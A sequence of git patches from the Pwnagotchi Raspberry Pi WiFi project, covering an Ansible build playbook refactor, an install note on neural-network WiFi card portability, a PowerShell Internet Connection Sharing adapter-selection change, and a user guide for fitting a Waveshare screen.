fonts-dejavu-core - - fonts-dejavu-extra - - python3-crypto - - python3-requests - - python3-yaml - - python3-smbus - - python3-inkyphat - - python3-numpy - - python3-pil - - python3-tweepy - - python3-opencv - - python3-termcolor - - python3-astor - - python3-backports.weakref - - python3-h5py - - python3-six - - python3-protobuf - - python3-wrapt - - python3-wheel - - python3-mock - - python3-scipy - - python3-cloudpickle - name: configure dphys-swapfile file: path: /etc/dphys-swapfile content: "CONF_SWAPSIZE=1024" - - name: disable unecessary services - systemd: - name: "{{services}}" - state: stopped - enabled: no - vars: - services: - - apt-daily.timer - - apt-daily.service - - apt-daily-upgrade.timer - - apt-daily-upgrade.service - - wpa_supplicant.service - - bluetooth.service - - triggerhappy.service - - ifup@wlan0.service - - - name: enable dphys-swapfile service - systemd: - name: dphys-swapfile.service - state: started - enabled: yes - - - name: enable gadget serial port service - systemd: - name: getty@ttyGS0.service - state: started - enabled: yes - - name: acquire python3 pip target command: "python3 -c 'import sys;print(sys.path.pop())'" register: pip_target - name: install pip packages pip: - name: "{{ packages }}" + name: "{{packages.pip.install}}" extra_args: "--no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --prefer-binary --no-cache-dir --platform=armv6l --target={{ pip_target.stdout }}" - vars: - packages: - - inky - - smbus2 - - absl-py>=0.1.6 - - enum34 - - gast==0.2.2 - - google_pasta - - opt_einsum - - scapy - - gym - - keras_applications>=1.0.6 - - keras_preprocessing>=1.0.5 - - stable-baselines - - file_read_backwards - - tensorflow_estimator>=1.14.0,<1.15.0 - - tensorboard>=1.13.0,<1.14.0 - name: install grpcio command: "pip3 install --no-deps --extra-index-url=https://www.piwheels.hostedpi.com/simple/ --no-cache-dir --prefer-binary --platform=armv6l --only-binary=:all: --target={{ pip_target.stdout }} https://www.piwheels.hostedpi.com/simple/grpcio/grpcio-1.24.1-cp37-cp37m-linux_armv6l.whl" @@ -196,7 +191,7 @@ - name: download and install bettercap unarchive: - src: "{{ bettercap_release.content | from_json | json_query(bettercap_query) | first }}" + src: "{{ bettercap_release.content | from_json | json_query(bettercap.query) | first }}" dest: /usr/bin remote_src: yes exclude: @@ -324,11 +319,7 @@ insertafter: EOF line: '{{ item }}' with_items: - - "dtoverlay=dwc2" - - "dtparam=spi=on" - - "dtoverlay=spi1-3cs" - - "dtoverlay=pi3-disable-bt" - - "dtparam=audio=off" + - "{{system.boot_options}}" - name: change root partition replace: @@ -356,7 +347,7 @@ - name: configure motd copy: dest: /etc/motd - content: "(◕‿‿◕) {{pwn_hostname}} (pwnagotchi-{{pwn_version}})" + content: "(◕‿‿◕) {{pwnagotchi.hostname}} (pwnagotchi-{{pwnagotchi.version}})" - name: clean apt cache apt: @@ -366,16 +357,21 @@ apt: autoremove: yes + - name: enable services + systemd: + name: "{{services.enable}}" + state: started + enabled: yes + + - name: disable unecessary services + systemd: + name: "{{services.disable}}" + state: stopped + enabled: no + - name: remove ssh keys file: state: absent path: "{{item}}" - with_items: - - /etc/ssh/ssh_host_rsa_key - - /etc/ssh/ssh_host_rsa_key.pub - - /etc/ssh/ssh_host_dsa_key - - /etc/ssh/ssh_host_dsa_key.pub - - /etc/ssh/ssh_host/ecdsa_key - - /etc/ssh/ssh_host/ecdsa_key.pub - - /etc/ssh/ssh_host_ed25519_key - - /etc/ssh/ssh_host_ed25519_key.pub + with_fileglob: + - "/etc/ssh/ssh_host*_key*" From 006c6f30bc482a45e7357c38e32269fefb12247c Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 20:14:18 +0200 Subject: [PATCH 60/64] docs: documented NN wifi card portability (fixes #145) --- docs/install.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/docs/install.md b/docs/install.md index 6902979a..203a38f5 100644 --- a/docs/install.md +++ b/docs/install.md @@ -2,6 +2,9 @@ The project has been developed to run on a Raspberry Pi 0 W configured as an [USB Ethernet gadget](https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget) device in order to connect to it via USB. However, given the proper configuration tweaks, any GNU/Linux computer with a WiFi interface that supports monitor mode could be used. +*An important note about the AI:* a network trained with a specific WiFi interface will only work with another interface if it supports +the same exact WiFi channels of the first one. For instance, you can not use a neural network trained on a Raspberry Pi Zero W (that only supports 2.4Ghz channels) with a 5Ghz antenna, but you'll need to train one from scratch for those channels. + ## Required Hardware - [Raspberry Pi Zero W](https://www.raspberrypi.org/products/raspberry-pi-zero-w/). From 6a1a16556e7d065d46cbd7bd8d0b368101058489 Mon Sep 17 00:00:00 2001 From: Justin-p Date: Sat, 5 Oct 2019 20:15:12 +0200 Subject: [PATCH 61/64] Script will now ask which adaptors it should use instead of trying to find the correct ones by default --- scripts/win_connection_share.ps1 | 57 +++++++++++++++++++++++--------- 1 file changed, 41 insertions(+), 16 deletions(-) diff --git a/scripts/win_connection_share.ps1 b/scripts/win_connection_share.ps1 index ecbed3b8..0be60d0e 100644 --- a/scripts/win_connection_share.ps1 +++ b/scripts/win_connection_share.ps1 @@ -5,7 +5,7 @@ .DESCRIPTION A script that setups Internet Connection Sharing for Pwnagotchi. - Note: Internet Connection Sharing on Windows can be a bit unstable on windows between reboots. + Note: Internet Connection Sharing on Windows can be a bit unstable on between reboots. You might need to run this script occasionally to disable and re-enable Internet Connection Sharing. .PARAMETER EnableInternetConnectionSharing @@ -15,7 +15,7 @@ Disable Internet Connection Sharing .PARAMETER SetPwnagotchiSubnet - Change the Internet Connection Sharing subnet to the Pwnagotchi. Defaults to 10.0.0.1. + Change the Internet Connection Sharing subnet to the Pwnagotchi subnet. The USB Gadget Interface IP ip default to 10.0.0.1. .PARAMETER ScopeAddress Custom ScopeAddress (The IP Address of the USB Gadget Interface.) @@ -55,14 +55,12 @@ Function Create-HNetObjects { .DESCRIPTION A helper function that does the heavy lifiting with NetCfg.HNetShare. This returns a PSObject containing the `INetSharingConfigurationForINetConnection` info of 2 Adapters. - By default it tries to get the correct interfaces. This method might not be foolproof for every setup, but should work in most default senarios, if this causes issues these - could be passed as a param, they would need to be implemented in Setup-PwnagotchiNetwork and the Param block of this file. .PARAMETER InternetAdaptor - The output of Get-NetAdaptor filtered down to the 'main' uplink interface. Should default to the correct value. + The output of Get-NetAdaptor filtered down to the 'main' uplink interface. .PARAMETER RNDISGadget - The output of Get-NetAdaptor filtered down to the 'USB Ethernet/RNDIS Gadget' interface. Should default to the correct value. + The output of Get-NetAdaptor filtered down to the 'USB Ethernet/RNDIS Gadget' interface. .EXAMPLE PS> $HNetObject = Create-HNetObjects @@ -73,8 +71,8 @@ Function Create-HNetObjects { #> [Cmdletbinding()] Param ( - $InternetAdaptor = $(Get-NetAdapter | Where-Object {$_.MediaConnectionState -eq 'Connected' -and $_.PhysicalMediaType -ne 'Unspecified'} | Sort-Object LinkSpeed -Descending), - $RNDISGadget = $(Get-NetAdapter | Where-Object {$_.MediaConnectionState -eq 'Connected' -and $_.InterfaceDescription -eq "USB Ethernet/RNDIS Gadget"}) + $InternetAdaptor = $(Select-NetAdaptor -Message "Please select your main a ethernet adaptor with internet access that will be used for internet sharing."), + $RNDISGadget = $(Select-NetAdaptor -Message "Please select your 'USB Ethernet/RNDIS Gadget' adaptor") ) Begin { regsvr32.exe /s hnetcfg.dll @@ -190,25 +188,25 @@ Function Set-PwnagotchiSubnet { Function Setup-PwnagotchiNetwork { <# .SYNOPSIS - Function to setup networking. + Function to setup networking. .DESCRIPTION - Function to setup networking. Main function calls helpers functions. + Function to setup networking. Main function calls helpers functions. .PARAMETER EnableInternetConnectionSharing - Enable Internet Connection Sharing + Enable Internet Connection Sharing .PARAMETER DisableInternetConnectionSharing - Disable Internet Connection Sharing + Disable Internet Connection Sharing .PARAMETER SetPwnagotchiSubnet - Change the Internet Connection Sharing subnet to the Pwnagotchi. Defaults to 10.0.0.1. + Change the Internet Connection Sharing subnet to the Pwnagotchi. Defaults to 10.0.0.1. .PARAMETER ScopeAddress - Custom ScopeAddress (the ICS ip address) + Custom ScopeAddress (the ICS ip address) .EXAMPLE - PS> Setup-PwnagotchiNetwork -EnableInternetConnectionSharing + PS> Setup-PwnagotchiNetwork -EnableInternetConnectionSharing #> @@ -260,6 +258,33 @@ Function Setup-PwnagotchiNetwork { } } } - +Function Select-NetAdaptor { + <# + .SYNOPSIS + A menu function to select the correct network adaptors. + + .DESCRIPTION + A menu function to select the correct network adaptors. + + .PARAMETER Message + Message that will be displayed during the question. + + #> + + Param ( + $Message + ) + $Adaptors = Get-NetAdapter | Where-Object {$_.MediaConnectionState -eq 'Connected'} | Sort-Object LinkSpeed -Descending + do { + Write-Host $Message + $index = 1 + foreach ($Adaptor in $Adaptors) { + Write-Host "[$index] $($Adaptor.Name), $($Adaptor.InterfaceDescription)" + $index++ + } + $Selection = Read-Host "Number" + } until ($Adaptors[$selection-1]) + Return $Adaptors[$selection-1] +} # Dynamically create params for Setup-PwnagotchiNetwork function based of param input of script. Setup-PwnagotchiNetwork @psBoundParameters \ No newline at end of file From eee5df4413145a7922dc323df7a65a4e40593b89 Mon Sep 17 00:00:00 2001 From: Simone Margaritelli Date: Sat, 5 Oct 2019 20:16:22 +0200 Subject: [PATCH 62/64] misc: small fix or general refactoring i did not bother commenting --- docs/install.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/docs/install.md b/docs/install.md index 203a38f5..b1ee1d76 100644 --- a/docs/install.md +++ b/docs/install.md @@ -2,7 +2,7 @@ The project has been developed to run on a Raspberry Pi 0 W configured as an [USB Ethernet gadget](https://learn.adafruit.com/turning-your-raspberry-pi-zero-into-a-usb-gadget/ethernet-gadget) device in order to connect to it via USB. However, given the proper configuration tweaks, any GNU/Linux computer with a WiFi interface that supports monitor mode could be used. -*An important note about the AI:* a network trained with a specific WiFi interface will only work with another interface if it supports +**An important note about the AI:** a network trained with a specific WiFi interface will only work with another interface if it supports the same exact WiFi channels of the first one. For instance, you can not use a neural network trained on a Raspberry Pi Zero W (that only supports 2.4Ghz channels) with a 5Ghz antenna, but you'll need to train one from scratch for those channels. ## Required Hardware From 106c87847dfc06e98127959e6c478966d92bf2a2 Mon Sep 17 00:00:00 2001 From: Justin Perdok Date: Sat, 5 Oct 2019 20:23:05 +0200 Subject: [PATCH 63/64] typo --- scripts/win_connection_share.ps1 | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/win_connection_share.ps1 b/scripts/win_connection_share.ps1 index 0be60d0e..c7c4ece8 100644 --- a/scripts/win_connection_share.ps1 +++ b/scripts/win_connection_share.ps1 @@ -15,7 +15,7 @@ Disable Internet Connection Sharing .PARAMETER SetPwnagotchiSubnet - Change the Internet Connection Sharing subnet to the Pwnagotchi subnet. The USB Gadget Interface IP ip default to 10.0.0.1. + Change the Internet Connection Sharing subnet to the Pwnagotchi subnet. The USB Gadget Interface IP will default to 10.0.0.1. .PARAMETER ScopeAddress Custom ScopeAddress (The IP Address of the USB Gadget Interface.) @@ -287,4 +287,4 @@ Function Select-NetAdaptor { Return $Adaptors[$selection-1] } # Dynamically create params for Setup-PwnagotchiNetwork function based of param input of script. -Setup-PwnagotchiNetwork @psBoundParameters \ No newline at end of file +Setup-PwnagotchiNetwork @psBoundParameters From 3b9260a9be17439f06801bd48f79a698347eea24 Mon Sep 17 00:00:00 2001 From: waxwing Date: Sat, 5 Oct 2019 15:22:18 -0400 Subject: [PATCH 64/64] Create hacks.md page for adding user mods||customizations that are not officially supported by the development team but deserve to be documented for posterity. --- docs/hacks.md | 38 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 38 insertions(+) create mode 100644 docs/hacks.md diff --git a/docs/hacks.md b/docs/hacks.md new file mode 100644 index 00000000..184cff04 --- /dev/null +++ b/docs/hacks.md @@ -0,0 +1,38 @@ +# Unofficial Hacks +--- +**IMPORTANT DISCLAIMER:** The information provided on this page is NOT officially supported by the Pwnagotchi development team. These are unofficial "hacks" that users have worked out while customizing their units and decided to document for anybody else who might want to do something similar. + +- **Please do NOT open issues if you cannot get something described in this document to work.** +- It (almost) goes without saying, but obviously: **we are NOT responsible if you break your hardware by following any instructions documented here. Use this information at your own risk.** + +--- +If you test one of these hacks yourself and it still works, it's extra nice if you update the **Last Tested On** table and note any minor adjustments you may have had to make to the instructions to make it work with your particular Pwnagotchi setup. :heart: + + +## Screens +### Waveshare 3.5" SPI TFT screen + +Last tested on | Pwnagotchi version | Working? | Reference +---------------|--------------------|----------|-----------| +2019 October 3 | Unknown | :white_check_mark: | ([link](https://github.com/evilsocket/pwnagotchi/issues/124#issue-502346040)) + +Some of this guide will work with other framebuffer-based displays. + +- First: SSH into your Pwnagotchi, and give it some internet! + - Don't forget to check your default gateway and `apt-get update`. +- Follow the guide here: [www.waveshare.com/wiki/3.5inch_RPi_LCD_(A)#Method_1._Driver_installation](https://www.waveshare.com/wiki/3.5inch_RPi_LCD_(A)#Method_1._Driver_installation) + - At the step with `./LCD35-show`, add `lite` to the command prompt (e.g., `./LCD35-show lite`). +- Reboot. +- As root, make three symlinks: + - `cd ~` + - `ln -s pwnagotchi.png pwnagotchi_1.png` + - `ln -s pwnagotchi.png pwnagotchi_2.png` + - `ln -s pwnagotchi.png pwnagotchi_3.png` +- `apt install fbi` +- Change display type to `inky` in `config.yml` +- Add `modules-load=dwc2,g_ether` to your kernel command line (`/boot/cmdline.txt`) or it will break! +- Also must add `dtoverlay=dwc2` to the bottom of (`/boot/config.txt`) +- Edit `/etc/rc.local` and add: `fbi -T 1 -a -noverbose -t 15 -cachemem 0 /root/pwnagotchi_1.png /root/pwnagotchi_2.png /root/pwnagotchi_3.png &` +- Reboot. + +And you should be good!